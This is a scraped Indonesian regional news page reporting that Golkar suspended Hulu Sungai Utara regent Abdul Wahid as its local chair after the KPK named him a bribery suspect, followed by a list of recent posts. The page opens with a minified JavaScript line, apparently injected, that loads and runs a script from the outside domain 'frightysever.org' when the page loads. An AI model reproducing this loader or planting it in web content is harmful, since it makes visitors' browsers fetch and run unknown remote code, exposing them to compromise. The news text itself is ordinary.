(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Abdul Wahid Dicopot dari Ketua DPD Golkar HSU, Buntut KPK Tetapkan Tersangka


KANALKALIMANTAN.COM, BANJARMASIN – Menyusul ditetapkan KPK sebagai tersangka kasus suap terhadap Bupati Hulu Sungai Utara (HSU) Abdul Wahid, DPD Partai Golkar Kalsel pun bersikap

Kader beringin itu juga ditahan komisi anti rasuah, Ketua DPD Partai Golkar Kabupaten HSU dinon aktifkan dari jabatannya.

Sekretaris DPD Partai Golkar Kalsel H Supian HK menegaskan partai Golkar langsung bertindak tegas atas status tersangka serta penahanan yang dilakukan KPK terhadap Abdul Wahid.

KPK menetapkan Bupati. HSU Abdul Wahid sebagai tersangka diduga menerima aliran commitment fee hingga Rp 18,9 miliar dari beberapa proyek di Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) HSU sejak 2019 hingga 2021.

 

Baca juga : Mabuk Tergeletak di Pinggir Jalan, Pria Bawa Sajam Diamankan Polres Banjarbaru

“Kami menghormati keputusan KPK menetapkan saudara Abdul Wahid, Bupati HSU sekaligus Ketua DPD Partai Golkar HSU sebagai tersangka. Kami sepenuhnya menyerahkan kasus ini kepada penegak hukum (KPK),” kata H Supian HK kepada awak media, Jumat (19/11/2021).

Menurut Ketua DPRD Kalsel ini, sementara masalah penonaktifan Abdul Wahid sebagai Bupati HSU merupakan kewenangan dari Gubernur Kalsel H Sahbirin Noor untuk mengusulkan ke Menteri Dalam Negeri (Mendagri) Tito Karnavian.

Khusus roda organisasi Partai Golkar agar tetap berjalan, H Supian menegaskan pihaknya menyiapkan H Sahrujani sebagai Plt Ketua DPD Partai Golkar HSU.

H Sahrujani sekarang dipercaya sebagai Ketua Komisi III DPRD Kalsel dari Fraksi Golkar. Sebelumnya, Sahrujani merupakan Ketua DPRD HSU, serta pengurus harian Golkar di Kalsel.

 

Baca juga : FMIPA ULM Dampingi Mitra Binaan Kelola Ekopreneursip di Pegunungan Meratus

Dalam proses hukum, partai Golkar tetap mengacu pada asas praduga tak bersalah. Walau kini, Abdul Wahid telah ditahan dan dijadikan tersangka oleh KPK, status hukumnya belum terpidana karena kasusnya saat ini telah memasuki tahap penyidikan. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

15 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

15 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

16 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

17 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

17 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

21 jam ago

This website uses cookies.